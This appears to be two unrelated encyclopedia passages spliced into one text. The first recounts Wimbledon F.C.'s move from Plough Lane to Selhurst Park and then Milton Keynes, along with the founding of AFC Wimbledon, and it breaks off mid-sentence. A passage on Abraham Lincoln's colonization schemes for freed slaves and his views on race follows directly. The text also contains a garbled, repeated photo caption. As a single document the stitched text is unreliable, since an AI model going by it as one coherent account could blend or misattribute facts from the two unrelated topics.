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7] they proceeded to perform strongly in fully professional football, winning promotion to the then-top flight First Division for the 1986–87 season.[57] The club's swift "fairytale" rise from obscurity through the English football pyramid caused it to reach a level of prominence far above that suggested by its modest home stadium at Plough Lane, which remained largely unchanged from the club's non-League days.[4] Wimbledon's record attendance at Plough Lane—18,000, set "in the 1930s against a team of sailors from HMS Victory"[58]—was never broken during 14 League seasons at the ground, including five in the top flight.[58]
Ron Noades, who purchased the club for £2,782 in 1976,[59] came to see Plough Lane as a potential limitation by 1979. He surmised that it could only attract a relatively small number of fans because of its location, close to large areas of sparsely populated parkland.[60] Noades's interest was piqued by the site the Milton Keynes Development Corporation had earmarked for a stadium next to the town's still-under-construction Central railway station.[60] "They were very keen to get a Football League club, effectively a franchise if you like, into Milton Keynes to take up that site," Noades said in a 2001 interview.[60] Planning to move Wimbledon there by amalgamating with an established Milton Keynes club, Noades purchased debt-ridden Southern League club Milton Keynes City (MK City; formerly Bletchley Town)[n 1] for £1. He and three other Wimbledon directors—Jimmy Rose, Bernie Coleman and Sam Hammam—were promptly voted onto MK City's board "in an advisory capacity".[61] This was a separate personal investment by the four directors, Noades said at the time, and not relevant to a move, though he also spoke at length about the superior long-term promise of the Milton Keynes location.[61]
Despite his early optimism, Noades soon came to the conclusion that a League club in Milton Keynes would not draw crowds much higher than those Wimbledon already attracted in south London. "I couldn't really see us getting any bigger gates than what Northampton Town were currently getting at that time, and, in fact, are still getting," he recalled in 2001. "I really couldn't see any future in it. I can't actually see that there is a means of drawing large attendances to Milton Keynes."[60] Abandoning his interest in MK City,[60][61] Noades sold Wimbledon to Hammam in 1981 for £40,000.[62] Later that year Noades bought nearby Crystal Palace and briefly explored merging that club with Wimbledon.[59][63]
Luton Town—"MK Hatters" (1980s) [ edit ]
Luton Town, based 20 miles (32 km) from Milton Keynes in Luton and nicknamed "the Hatters", were also seeking a new site at this time. As early as 1960, then-First Division Luton's attendances had been deemed far too low for the top flight by Charles Buchan's Football Monthly, which also considered their ground at Kenilworth Road, in the middle of town, to be hard to get to.[64] At this time the club was already planning a 50,000-capacity ground near Dunstable, to the north-west of Luton,[64] but no new ground materialised. Luton were relegated in 1960 and, apart from the 1974–75 season, remained outside of the top division until 1982–83.[65]
With the team still based at the "cramped and inadequate" Kenilworth Road in 1983,[66] the construction of a new road next to the ground escalated the need for a replacement. The Milton Keynes Development Corporation approached Luton proposing a new all-seater stadium in central Milton Keynes, housing either 18,000 or 20,000 spectators, as part of a leisure and retail development. Luton's owners were receptive to the idea; according to The Luton News, the relocated "MK Hatters" would play home matches in a "super-stadium".[64] This ground would reportedly have an artificial pitch and a roof; Milton Keynes Council would invest heavily in its construction.[66] The Luton chairman Denis Mortimer surmised if the team moved it would not only garner new fans from the Milton Keynes area but also retain the existing Luton fanbase.[66] He said that the club was financially unsustainable at Kenilworth Road and would go bankrupt if it did not move.[66]
The Milton Keynes idea was very poorly received by Luton fans and viewed, in Bale's words, as "tearing the club from its most loyal supporters".[28] Luton fans held protest marches and rallies throughout the 1983–84 season,[68] and chartered a plane to fly over Kenilworth Road during one match pulling a banner reading "Keep Luton Town F.C. in Luton".[66] Some 18,000 Luton residents signed a petition against the club leaving.[66] A consortium of local businessmen attempted to persuade Vauxhall Motors, General Motors' Luton-based British marque, to invest in the club and help with a new stadium in Luton.[66] In Milton Keynes, some residents expressed fears that Luton's arrival in central Milton Keynes might bring with it football hooliganism and threaten local amenities.[69] Some Luton supporters boycotted the club's first home match of the 1984–85 season in protest against the Milton Keynes plans.[68] The wide unpopularity of the proposed move and the consistently vehement opposition from Luton's local support combined to prevent it from occurring.[64][70] "The directors want our support and our money," said Tom Hunt, a member of a Luton fans' action group against the move, "but they ignore the views of a community that wants to keep its football club. Why should fans pay at the turnstiles to help the club in business so that it can be taken away from us?"[68]
Wimbledon leave Plough Lane [ edit ]
Taylor Report [ edit ]
Plough Lane Selhurst Park [4] Wimbledon moved about 6 miles (9.7 km) across south London, from Plough Lane to Selhurst Park, before the 1991–92 season. This move was supposed to be temporary while the club arranged a new stadium of its own on a more local site.
Wimbledon's success as a club in the top flight of English football was founded on unorthodox financial management and judicious dealings in the transfer market.[2] Rumours of a move or a merger with another London side persisted, leading the club's chief executive Colin Hutchinson to resign in 1987 amid talk of an amalgamation with Ron Noades's new club Crystal Palace or a groundshare at Queens Park Rangers' Loftus Road ground in Shepherd's Bush.[71][n 8] Wimbledon were granted planning permission to build a 20,000-seater ground in their home borough of Merton in 1988, soon after they won the FA Cup, but the site was instead made into a car park by a newly elected Labour council in 1990. Wimbledon's desire to move was made a necessity a year later, when the Taylor Report, which ordered the extensive redevelopment of football grounds, was released.[4]
When Hammam purchased the club from Noades in 1981, Wimbledon also owned the ground at Plough Lane; a pre-emption clause existed, however, which reserved the site for "sports, leisure or recreational purposes" only. If Wimbledon Football Club were ever wound up, Plough Lane's owners were legally bound to sell the stadium to Merton Council for £8,000, irrespective of inflation.[63] This clause reduced the possibility of the club losing its home stadium, but it was unpopular with a succession of Wimbledon owners as it made the site practically worthless as real estate. Hammam complained that this limited his ability to borrow money needed to redevelop the ground.[63] Seeking to increase Plough Lane's commercial value, Hammam entered into negotiations with the council to remove the clause in 1990; the eventual agreed price for the revoking of the clause was a sum between £300,000 and £800,000.[63] At least one Wimbledon club director resigned his position in protest.[63]
Even with this clause removed, the team could not afford to redevelop Plough Lane when required to do so the following year. Wimbledon moved about 6 miles (9.7 km) across south London before the start of the 1991–92 season to share Crystal Palace's Selhurst Park ground. This was supposed to be a temporary arrangement while Wimbledon arranged the construction of their own new ground in a more local area, but the move was still unpopular among fans.[4] Critics alleged that it was at least partly motivated by financial considerations, particularly the profit that might be gained from selling the old ground.[2][74] The respective Wimbledon and Crystal Palace reserve teams groundshared at Plough Lane after the Wimbledon first team left.[75]
Wimbledon at Selhurst Park; Dublin proposal [ edit ]
Selhurst Park, photographed in 2011
Merton Council had been recommending that Wimbledon move to a site in nearby Beddington, but this proposal fell through soon after the move to Selhurst Park.[4] With the inflation in costs brought on by the foundation of the FA Premier League in 1992, the club soon began to lose money heavily.[2] Rumours that the groundshare would eventually result in the Dons and the Eagles merging led Hammam to say "I’d rather die and have vultures eat my insides than merge with Crystal Palace".[76] In 1992 the Greyhound Racing Association offered to redevelop Wimbledon Stadium (less than a mile from Plough Lane) into a 15,000-seater dog racing and football ground.[4] Hammam was outraged two years later when the council, attempting to retain the Plough Lane site for public use,[4] refused to sanction its sale for a supermarket redevelopment that Hammam said would finance a new ground at the dog racing site.[77] Hammam angrily declared he would look elsewhere,[4] and threatened to change the club's name and remove the double-headed eagle device, a symbol of Wimbledon Borough, from the team's badge.[77] "We have been betrayed," he told the press. "The council say they want us back, but when it comes to taking action they don't want to know."[77]
Eamon Dunphy (2013 photo) was a leading proponent of the mid-1990s proposal for Wimbledon to relocate to was a leading proponent of the mid-1990s proposal for Wimbledon to relocate to Dublin
Hammam later claimed to have looked at every possible stadium site in Merton. He initially sought to relocate within south London, examining "seven boroughs" including Tolworth and Brixton.[78] He also began to consider selling the club. In 1994, Wimbledon's Irish manager Joe Kinnear contacted the football pundit and former player Eamon Dunphy to inform him of this and to put to him the idea of moving the club to Dublin. Dunphy was enthusiastic about the idea and became its main proponent in Ireland over the next three years. It was suggested that Wimbledon fans from London could be given free flights to Dublin for home matches,[79] and that British Sky Broadcasting might pay to fly the opposing teams there during the first season.[80]
Opinion polls in the Republic showed consistently high support for the idea of Wimbledon hosting Premier League matches in Dublin,[79][81] but the League of Ireland argued that this would endanger its existence, and in September 1996 about 300 fans rallied in Dublin under the slogan "Resist the Dublin Dons".[79] Twenty Irish clubs "reaffirmed their opposition" to Wimbledon playing in Dublin the following month;[82] a week later Reuters called the proposal "dead and buried".[58] When Hammam requested talks with the Football Association of Ireland (FAI) top brass in April 1997, they refused to even meet him.[83] Vocal opposition from Wimbledon fans emerged—after a friendly match in August 1997 fans holding "Dublin = Death" and "Dons Belong In Merton" placards refused to leave the stadium for two hours. Soon afterwards, Hammam met six leading protesters, who told him that in the event of a move they would start a new non-League club locally.[79]
Playing away from Merton at a supposedly temporary home, Wimbledon set a record for the lowest-ever English top-flight attendance on 22 August 1992 with 3,759 watching the clash with Coventry City,[84] before breaking it twice more: 12 December 1992 against Oldham Athletic with 3,386,[84] and finally on 26 January 1993, drawing only 3,039 fans to a Tuesday-night match against Everton,[85] with reportedly 1,500 travelling from Liverpool.[86] All ten of the Premier League's lowest attendances were Wimbledon home matches in the 1992–93 and 1993–94 seasons.[84] However the general trend was one of a sharp rise—the club's average home attendance more than doubled at Selhurst Park from around 8,000 during the last years at Plough Lane to a peak of over 18,000 during the 1998–99 Premier League season.[87] Wimbledon's fans were a blend between locals who had supported the club since its non-League days and supporters who had defected from other London teams.[88] According to statistics compiled in 2000, 56% of Wimbledon season-ticket holders were locally born (the second lowest in the Premier League), and only 12% had fathers who were Wimbledon fans.[88] Many attended Wimbledon matches as it was cheaper and safer than other clubs in the capital—Wimbledon had more women and children at their games than any other top-flight club.[88] In 2000, 23% of Wimbledon season-ticket holders earned over £50,000 a year, the second-highest in the division after Chelsea (33%).[88]
Hammam sold Wimbledon to two Norwegian businessmen, Kjell Inge Røkke and Bjørn Rune Gjelsten, for a reported £26 million in June 1997, while remaining at the club in an advisory role.[89] In December that year, Wimbledon were reported to be considering the football and greyhounds option again.[90] Ownership of Plough Lane was transferred from the club to Rudgwick Limited—a company founded in 1993 with Hammam serving as director.[62] With political control of Merton Council having changed, Hammam secured the £8 million sale of Plough Lane to Safeway supermarkets in 1998.[63] He unsuccessfully attempted to gain permission to redevelop a former gas works in Merton during the same year,[63] and soon after entered abortive negotiations over a site in Beddington.[63]
Frustrated by the lack of progress, Hammam shifted his focus to Dublin and other locations outside London—Basingstoke, "Gatwick", Belfast, Cardiff, Manchester, Wigan, Bristol, and Scotland.[2][4][73][78][91][92] He later claimed that during this time seven clubs from outside London approached Wimbledon with groundshare offers.[78][n 9] Similar opposition to that emanating from the Irish football hierarchy followed after Kinnear spoke of the Cardiff proposal: the Football Association of Wales stated they "will oppose the plan even if it means Premiership football coming to Cardiff".[93] By February 1998, Clydebank of the Scottish third tier were also pursuing a move to the Irish capital.[79][94] Swayed by Hammam's offer of £500,000 to each League of Ireland club, the same amount to the FAI and "schools of excellence all over the country" in return for support, five Irish teams now backed Wimbledon's Dublin proposal.[94] Later that year, after the Premier League had approved the idea, the lengthy, heated debate in Ireland ended with an FAI veto.[63][78][95][96][97] With Dublin now not an option, Hammam attempted to buy Selhurst Park from Noades, who had sold Crystal Palace in 1998, but still owned the ground. This led nowhere.[59] Hammam finally sold his shares in Wimbledon in February 2000,[98] and seven months later became the owner of Cardiff City.[99] Wimbledon were relegated from the Premier League at the end of the 1999–2000 season.[57] The average attendance at Wimbledon home matches dropped by more than half over the next year, from 17,157 during the 1999–2000 season to 7,897 during 2000–01.[100]
Milton Keynes Stadium Consortium [ edit ]
Background and motivations [ edit ]
Pete Winkelman, the leader of the Milton Keynes Stadium Consortium, pictured in 2011
The Milton Keynes Stadium Consortium or "Stadium MK", led by Pete Winkelman and his company Inter MK Group, was formed in 2000.[63][101] It proposed a large development in the southern Milton Keynes district of Denbigh North, including a 30,000-capacity football stadium, a 150,000-square-foot (13,935 m2) Asda hypermarket, an IKEA store, a hotel, a conference centre, and a retail park.[102][103][104][105] The plan to build a ground of this size was complicated by the fact that there was no professional football club in Milton Keynes and that the highest-ranked team in the town, (another) Milton Keynes City[n 1]—based in Wolverton in northern Milton Keynes, and formerly known as Mercedes-Benz F.C.—played in the then eighth-tier Spartan South Midlands League, four divisions below the Football League.[13] The developers could not justify building such a stadium for a club of this small stature.[103][106] Rather than wait for MK City or another local team to progress through the pyramid, Winkelman resolved to "import" an established League club to use the ground.[103][106][107]
Winkelman, an ex-CBS Records executive and music promoter, had moved to the Milton Keynes area from London in 1993.[108] He attested to a vast untapped fanbase for football in Milton Keynes—a "football frenzy waiting to happen", he said. Critics of this claim pointed to the apparent lack of public interest in Milton Keynes City and the other local non-League clubs,[101] and argued that Milton Keynes residents interested specifically in League football already had ample access with Luton, Northampton and Rushden & Diamonds all within 25 miles (40 km).[101] In Winkelman's own words, in a 2013 interview, he "didn't have a clue about football" when he was proposing to move a League club from another town—indeed looking back he said "it was that naivety that enabled me to go and do it."[110] He was the only person in Milton Keynes publicly associated with the project;[102] his financial supporters, later revealed to be Asda (a subsidiary of Walmart) and IKEA,[103][107] were kept strictly anonymous.[102] According to an investigative report by Ian Pollock, published in When Saturday Comes in July 2002, neither the Milton Keynes Council press office, the editor of the Milton Keynes Citizen newspaper nor the head of Invest in MK, the council agency encouraging businesses to move to the area, could tell him who was backing the plans. Winkelman told Pollock his supporters were "major business people in MK and some developers. A number of major international partners who've done this sort of thing before."[102]
Opponents of such a move surmised that the stadium was a "Trojan Horse" included in the blueprint to bypass planning rules, and that although the consortium described the larger development as enabling the construction of the stadium, the reverse was the case—Winkelman's consortium, they claimed, had to have a professional team in place right away to justify the ground so the development could get planning permission.[103][106][107][111] David Conn of The Guardian corroborated this assessment. "The whole project was indeed dependent on Asda and IKEA," Conn summarised in a 2012 article, after interviewing Winkelman. "Having seen the opportunity to build a stadium Milton Keynes lacked, and realised Asda did not have a store in the town, Winkelman acquired options to buy the land from its three owners, including the council. Asda would not have been granted planning permission for a huge out-of-town superstore unless it gave the council the benefit of building the stadium. [A League club] would move up, permission would be granted, then [Winkelman] would exercise the option to buy all the land, sell it to Asda and IKEA for very much more, and the difference would be used to build the stadium."[107] Conn retrospectively described this as a "deal of a lifetime".[107]
Talks with Luton, Wimbledon, Barnet, Crystal Palace and QPR [ edit ]
Loftus Road, (2007 photograph). In 2001 QPR were linked with first a merger with Wimbledon, then a move to Milton Keynes. Queens Park Rangers'home ground. In 2001 QPR were linked with first a merger with Wimbledon, then a move to Milton Keynes.
The first club approached was Luton Town, still based at Kenilworth Road, in 2000.[64][112] As in the 1980s, Luton's owners liked the Milton Keynes idea but the fans strongly opposed it. The Football League stated that no member club could leave its own area and blocked the move.[64][113] Nevertheless, Winkelman attempted to negotiate a move with two League clubs from London over the following months; he approached Crystal Palace and Barnet, but neither was interested.[64][92] Winkelman then offered the ground to Wimbledon.[63] He registered several internet domain names with variants of "Milton Keynes Dons" and "MK Dons" in June 2000.[114][n 10] Wimbledon initially rejected the Milton Keynes idea.[63]
Røkke and Gjelsten appointed a new club chairman, Charles Koppel, in January 2001.[116] According to Stephen Morrow in The People's Game?: Football, Finance and Society (2003), Koppel had never been to a football match before becoming involved with Wimbledon and "gave the impression of being completely unaware of the relationship that exists between a football club and its supporters."[117] He was interested in an "enabling development" whereby a stadium could be created and funded as part of a business or leisure opportunity[117]—exactly the kind of proposition put forward by Winkelman.[118]
Towards the end of the 2000–01 season Wimbledon and Queens Park Rangers, who were in financial administration, entered discussions over a merger; the new team would play at Loftus Road.[119] The Football League announced on 2 May 2001 that it would give "favourable consideration" to a takeover of QPR by Wimbledon, but that the process would have to be very quick for the merged team to take part in the 2001–02 season. Noades—by now the owner of Brentford, who were themselves interested in a groundshare at Loftus Road[72]—said that Wimbledon would have to give him 12 months' notice to leave Selhurst Park. The majority of Wimbledon and QPR fans quickly made their opposition to a merger known.[120] Following Wimbledon's draw with Norwich City at Selhurst Park on 6 May, Koppel came onto the pitch and told the mostly jeering home fans that "there never was a merger proposal with QPR";[121] the Loftus Road club had instigated the talks, he said.[121] QPR abandoned the amalgamation plan two days later, citing potential fan alienation,[122] while also announcing that there would be no further talks with Brentford.[123]
A month later, Winkelman offered his Milton Keynes stadium site to QPR, promising that the club's name and blue-and-white hooped strip would be kept in Buckinghamshire and that the fans would be represented on the board of directors.[124] "We have real resources to put behind the club," said Winkelman. "They are fast running out of solutions and we are the answer to their problems."[124] QPR dismissed the offer, leading the developers to once again contact Wimbledon later that month.[63] With Koppel in charge, Wimbledon were more receptive this time around—Koppel said that Wimbledon's owners were subsidising the club to the tune of £6 million per year and that such action was necessary to prevent its liquidation.[63] As talks progressed, Winkelman approached the owner of Milton Keynes City, attempting to buy the club name.[111] It soon became clear that the bulk of Wimbledon's support strongly opposed a move of this kind.[125]
Authorisation process [ edit ]
Announcement and rejection; appeal [ edit ]
Koppel announced Wimbledon Football Club's intent to move to Milton Keynes on 2 August 2001 with a letter to the Football League chief executive David Burns requesting approval. The letter stated that Wimbledon had already signed an agreement to relocate and "subject to the necessary planning and regulatory consents being obtained" intended to be playing home games at a newly built stadium in Milton Keynes by the start of the 2003–04 season.[126] The proposed move was opposed in most quarters: along with most of Wimbledon's fans and many football supporters generally, the League, the Football Association (the FA), Merton Council, most football writers in the national press and a 150-man Parliamentary All-Party Committee voiced disapproval.[1][2][3] Two similar club relocations had occurred in the Scottish professional ranks during the 1990s, but the permanent relocation of an English League club to another conurbation was unprecedented.[36] A group of Wimbledon fans decided to boycott club merchandise in protest against the plans, and launched an "alternative matchday programme for both home and away fans", Yellow and Blue, to compete against the official publication.[88][127] The League board unanimously rejected Wimbledon's proposed move on 16 August 2001,[126] stating that any Milton Keynes club would have to earn membership by progressing through the pyramid and that "franchised football" would be "disastrous".[128]
Koppel appealed against this decision, calling it and the process by which it was reached "deficient and unlawful"; he insisted that re-basing in Milton Keynes was the only way Wimbledon could survive.[129] Burns expressed strong personal opposition in response, declaring that allowing such a move would "destroy what football is about".[129] To consider whether Wimbledon had the right to contest the League's decision, the Football Association formed an ad hoc arbitration panel made up of FA vice-chairman and Arsenal vice-chairman David Dein, York City chairman Douglas Craig, and Charles Hollander QC.[130][131][132] Craig was a controversial choice for some because of his actions as York chief;[128] he had sold his club's stadium Bootham Crescent to a holding company he also owned for £165,000 in July 1999, then in December 2001 announced his intention to evict the team and sell the ground for £4.5 million.[133] Winkelman told reporters that even if the appeal were unsuccessful "our door will be open to any club in trouble".[134]
After considering extensive written evidence from Wimbledon F.C., the Football League, the FA, the Premier League, the Football Conference, the Scottish Football League, Milton Keynes City F.C., Merton Council, the Football Supporters' Association and the Wimbledon Independent Supporters Association (WISA), and oral submissions from Koppel, Burns and Andrew Judge of Merton Council,[135] the arbitration panel unanimously ruled on 29 January 2002 that the League's decision had "not been properly taken in the legal sense, and that the procedures had not been fair"—the League, the panel reported, had rejected Wimbledon's application "not on its merits, but on the basis of an inflexible view or policy".[130] The question of Wimbledon's proposed move was remitted to the Football League board,[130] which reconvened on 17 April 2002 and concluded that the matter should be considered by an independent commission appointed by the Football Association.[136]
The FA agreed and in the first week of May appointed Raj Parker of the Freshfields Bruckhaus Deringer law firm to chair the commission, with Steve Stride, Aston Villa's operations director, and Alan Turvey, member of the FA Council and chairman of the Isthmian League, as commissioners.[137] Under FA Rule 'F', the Football League and Wimbledon were informed of these appointments; neither objected.[137] Acknowledging Koppel's request that the matter be resolved by the end of the month because of Wimbledon's financial problems, the FA set a deadline of 31 May 2002 for the commission's "final and binding" verdict,[138] and released a press statement on 10 May inviting anyone interested to send written submissions care of the FA.[137] By this time, the fans' matchday publication Yellow and Blue was outselling the official Wimbledon F.C. programme by three to one.[88]
Independent commission; approval [ edit ]
Parker, Stride and Turvey sat at Freshfields Bruckhaus Deringer's Fleet Street offices on 14, 15, 16 and 22 May 2002. Legal counsel instructed by Olswang appeared for Wimbledon; the League, which had engaged external lawyers for the arbitration hearing, this time did not, deciding that its objections were adequately set out in the written material.[139] The League and FA contributions were summarised in the commission report as concerns that a relocated club would, in effect, "drive a coach and horses through the pyramid structure", "herald, or risk heralding, a franchise system for football whereby the investors in football could relocate clubs at will" and "dramatically change the defining characteristics of the English domestic game where clubs are identified with the locality or community built up over time".[140] "English football is not organised on the basis of a franchise system in which different communities may bid for clubs competing in competitions," the FA statement concluded. "If a move effectively involved a break of the links with the community with which the club is traditionally associated, and a move to an entirely new community, with an intent to put down new roots and reinvent the club with a new identity and a new set of allegiances, and yet the club did not want to relinquish its place in the pyramid, go down to a lower level and work its way back up, the FA believes that allowing such a move would have a fundamental impact on the organisational framework of the game."[141]
Wimbledon's statement centred on the club's precarious financial situation and a claim that its case was unique. It stressed that Wimbledon (referred to in the statement as "WFC") had lacked its own home stadium for 11 years and asserted that the club did not have "firm and extensive roots within the conurbation from which it takes its name". According to the club statement, "the vast majority" of Wimbledon fans were not from Merton and "less than 20% of the 3,400 season ticket holders" lived there.[142] Milton Keynes was, the statement said, Wimbledon's "last chance of financial survival"; the move's opponents did not properly appreciate the club's fiscal troubles and "wrongly assume[d] that there is a viable alternative in south London."[143] The new ground in Milton Keynes was feasible despite the club's financial problems as it would be almost entirely funded by the consortium's enabling development. Wimbledon's identity—"traditions, history, colours, name, strip, stadium design and the like"—would be preserved in Milton Keynes and supporters from London would be offered subsidised travel and tickets. The statement concluded that "infinitely more harm would be caused to football if WFC went out of business" and that a "proportionate exercise of discretion... would allow the relocation in WFC's exceptional circumstances."[118]
The commissioners heard oral statements from Winkelman, Koppel, Louise Carton-Kelly of the Dons Trust fundraising group, Kris Stewart of the WISA, Nicholas Coward of the FA and Steve Clark, Merton Council's head of planning.[144] Winkelman was described in the report as "a passionate and frank witness, who is genuinely concerned to promote the interests of Milton Keynes and WFC."[145] He expressed a wish to retain Wimbledon's "name, strip, branding and the like", and spoke of renaming local roads and calling the stadium site "Wimbledon Park". Winkelman predicted that an overwhelming majority of Wimbledon fans would continue to follow the club in Milton Keynes.[145] The commission summarised the fans' submitted views as almost universally negative and reported that most perceived a continuation of the club in Milton Keynes as no better than liquidation.[146] Stewart, when asked if he would prefer life for the club in Milton Keynes or death in Merton, said he regarded both as death and that in either case he would attempt to "resurrect the club and start at the bottom of the pyramid".[147]
The commission report described redeveloping Plough Lane, which Merton Council insisted remained viable "if there is a will for the club to pursue this option", as the only recourse for Wimbledon other than Milton Keynes.[148] A feasibility study carried out by Drivers Jonas, commissioned and funded jointly by Wimbledon F.C. and Merton Council,[149] described a 20,000-capacity stadium at Plough Lane as physically possible but "extremely ambitious", risky and financially unsustainable given the club's money problems.[148] The commission ruled that it was unreasonable to expect Wimbledon's owners to pursue a move back to Plough Lane under these circumstances. Parker and Stride concluded that on the evidence presented Milton Keynes was the only option that would give the club a chance of financial survival,[150] and therefore ruled in favour of the move, two to one—Turvey dissented[151]—on 28 May 2002.[3][152]
Relocation [ edit ]
Wimbledon F.C. and AFC Wimbledon are named in full throughout the following sections to avoid ambiguity.
AFC Wimbledon (blue shirts) warm up before taking on warm up before taking on Raynes Park Vale in a Combined Counties League game at Kingsmeadow, on the last day of the 2002–03 season
The FA stated that although the decision was final and binding, it still strongly opposed the relocation. It emphasised that its recommendation to the commissioners had been against the move. "The Football Association sees it as vital for the game to stop these circumstances ever happening again," the statement concluded.[3] The chief executive of the FA, Adam Crozier, said that he believed the commission to have made an "appalling decision".[153] Koppel said the decision had saved Wimbledon Football Club.[154] A spokesman for Milton Keynes Council said the people of Milton Keynes were looking forward to the team's arrival, stating: "It will be of great benefit to the city. Milton Keynes is becoming a city of sport."[154] In the eyes of the WISA, the Dons Trust and most of the Wimbledon F.C. fanbase, the move's sanctioning marked the "death of their club".[3] "If it moves it will mean nothing to us," said Marc Jones, a WISA spokesman.[3] Wimbledon F.C. became widely reviled by football supporters across the country and pejoratively nicknamed by some as "Franchise F.C.".[91][155]
A group of disaffected Wimbledon F.C. fans led by Stewart, Jones, Ivor Heller and Trevor Williams resolved to found their own team, in their view a spiritual continuation or "phoenix" version of the original.[156] Within weeks, they had done so; the new side, AFC Wimbledon,[2] entered a groundshare arrangement with Kingstonian at the latter club's home ground at Kingsmeadow, in the Royal Borough of Kingston upon Thames, adjacent to Merton and about 5 miles (8 km) from Plough Lane. The fans' club was accepted into the Combined Counties League, seven levels below Wimbledon F.C.'s place in the second tier, and began play at the start of the 2002–03 season.[91] The WISA, the Dons Trust and the vast majority of Wimbledon F.C.'s fanbase switched allegiance to the new club.[2][157] The assertion in the commission report that "resurrecting the club from its ashes as, say, 'Wimbledon Town'" would be "not in the wider interests of football"[158] particularly infuriated AFC Wimbledon's founders and became an integral part of club lore.[132][156]
Wimbledon F.C. hoped to move to Milton Keynes immediately, but as the new ground was yet to be built an interim home in the town would have to be found first.[159] The first proposal, to start the 2002–03 season at the National Hockey Stadium in central Milton Keynes, was abandoned because it did not meet Football League stadium criteria. While alternative temporary options were examined—Winkelman suggested converting the National Bowl music venue[159]—Wimbledon F.C. started the season at Selhurst Park and set a target of playing in MK by Christmas. Central Milton Keynes Shopping Centre became the team's new sponsor; "GO–MK" was emblazoned across the players' shirts.[160] Before Wimbledon F.C.'s first game of the season, against Gillingham on 10 August 2002, AFC Wimbledon supporters picketed outside Selhurst Park, tried to dissuade home fans from entering and shouted "scab" and "scum" at those who did. The attendance was officially announced as 2,476, including 1,808 from Gillingham.[157] The breakaway club claimed an average crowd of over 3,700 during its first months,[91][157] while Wimbledon F.C. attracted less than 3,000, most of whom were followers of visiting teams.[2][157] The loss of income from gate receipts would contribute to Wimbledon F.C. subsequently entering administration.[161]
Safeway demolished Plough Lane and sold the site to a property developer in November 2002.[162] Milton Keynes Council meanwhile granted planning permission to convert the National Bowl into a temporary football stadium, but the Football League delayed a decision on these plans in October 2002.[163] At Selhurst Park, Wimbledon F.C. reported a divisional record low attendance of only 849—including over 200 away fans, around the same number of complimentary tickets, and Wimbledon F.C. youth players and members of the press—for the Tuesday-night game against Rotherham United on 29 October 2002.[2][164] A temporary stadium in Milton Keynes proved difficult to |
secured $25,000 from Congress to pay for transportation and equipment.[63]
The plan was suspended in early October 1862 before a single ship sailed though, apparently due to diplomatic protests from neighboring Central American governments and the uncertainty raised by the Colombian Civil War (1860–1862). The plan also violated the 1850 Clayton–Bulwer Treaty prohibiting US and UK colonization of Central America.[63] Lincoln hoped to overcome these complications by having Congress make provision for a treaty for African American emigration, much as he outlined in his Second Annual Message of December 1, 1862, but the Chiriquí plan appears to have died over the New Year of 1863 as revelations of the corrupt interest of his acquaintance Richard W. Thompson and Secretary of the Interior John Palmer Usher likely proved too much to bear in political terms.[68]
Ile à Vache [ edit ]
In December 1862, Lincoln signed a contract with businessman Bernard Kock to establish a colony on the Ile à Vache, an island of Haiti. 453 freed slaves departed for the island from Fort Monroe, Virginia. A government investigation had deemed Kock untrustworthy, and Secretary of State William Seward stopped the plan from going forward after learning of Kock's involvement.[69]
Poor planning, an outbreak of smallpox, and financial mismanagement by Kock left the colonists under-supplied and starving, according to early reports. 292 colonists remained on Ile a Vache in 1865; 73 had moved to Aux Cayes on Haiti.[69] The United States Navy arrived to rescue survivors after less than one year on the island.[70]
British West Indies [ edit ]
In addition to Panama and Haiti, Mitchell's office also oversaw attempts at colonization in British Honduras and elsewhere in the British West Indies. Lincoln believed that by dealing with the comparatively stable British Government, he could avoid some of the problems that plagued his earlier attempts at colonization with private interests.[71]
He signed an agreement on June 13, 1863, with John Hodge of British Honduras that authorized colonial agents to recruit ex-slaves and transport them to Belize from approved ports in Philadelphia, New York City, and Boston.[72] Later that year the Department of the Interior sent John Willis Menard, a free African-American clerk who supported colonization, to investigate the site for the government. British authorities pulled out of the agreement in December, fearing it would disrupt their position of neutrality in the Civil War.[73]
The question of when Lincoln abandoned colonization, if ever, has aroused considerable debate among historians.[74] The government funded no more colonies after the rescue of the Ile a Vache survivors in early 1864, and Congress repealed most of the colonization funding that July.
Whether Lincoln's opinion had changed is unknown. He left no surviving statements in his own hand on the subject during the last two years of his presidency, although he apparently wrote Attorney General Edward Bates in November 1864 to inquire whether earlier legislation allowed him to continue pursuing colonization and to retain Mitchell's services irrespective of the loss of funding.[75][76] An entry in the diary of presidential secretary John Hay dated July 2, 1864, says that Lincoln had "sloughed off" colonization, though without much elaboration.[77] In a later report, General Benjamin F. Butler claimed that Lincoln approached him in 1865 a few days before his assassination, to talk about reviving colonization in Panama.[78] Historians have long debated the validity of Butler's account, as it was written many years after the fact and Butler was prone to exaggeration of his own exploits as a general.[79] Recently discovered documents prove that Butler and Lincoln did indeed meet on April 11, 1865, though whether and to what extent they talked about colonization is not recorded except in Butler's account.[80] On that same day, Lincoln gave a speech supporting a form of limited suffrage for blacks.
Much of the present debate revolves around whether to accept Butler's story. If rejected, then it appears that Lincoln "sloughed off" colonization at some point in mid-1864. If it is accepted, then Lincoln remained a colonizationist at the time of his death. This question is compounded by the unclear meaning of Hay's diary, and another article by Secretary of the Navy Gideon Welles, which suggests that Lincoln intended to revive colonization in his second term. In either case, the implications for understanding Lincoln's views on race and slavery are strong.[81]
Citizenship and limited suffrage [ edit ]
In his second term as president, on April 11, 1865, Lincoln gave a speech in which he promoted voting rights for blacks.[82] John Wilkes Booth, a Southerner and outspoken Confederate sympathizer attended the speech and became determined to kill Lincoln for supporting citizenship for blacks.[83] On April 14, 1865, three days later, Lincoln was assassinated by Booth and died the next day.
In analyzing Lincoln's position historian Eugene H. Berwanger notes:
During his presidency, Lincoln took a reasoned course which helped the federal government both destroy slavery and advance the cause of black suffrage. For a man who had denied both reforms four years earlier, Lincoln's change in attitude was rapid and decisive. He was both open-minded and perceptive to the needs of his nation in a postwar era. Once committed to a principle, Lincoln moved toward it with steady, determined progress.[84]
Views on African Americans [ edit ]
Known as the Great Emancipator, Lincoln was a complicated figure who wrestled with his own views on race.[85] Through changing times successive generations have interpreted Lincoln's views on African Americans differently. "To apply 20th century beliefs and standards to an America of 1858 and declare Abraham Lincoln a "racist" is a faulty formula that unfairly distorts Lincoln's true role in advancing civil and human rights. By the standards of his time, Lincoln's views on race and equality were progressive and truly changed minds, policy and most importantly, hearts for years to come."[85]
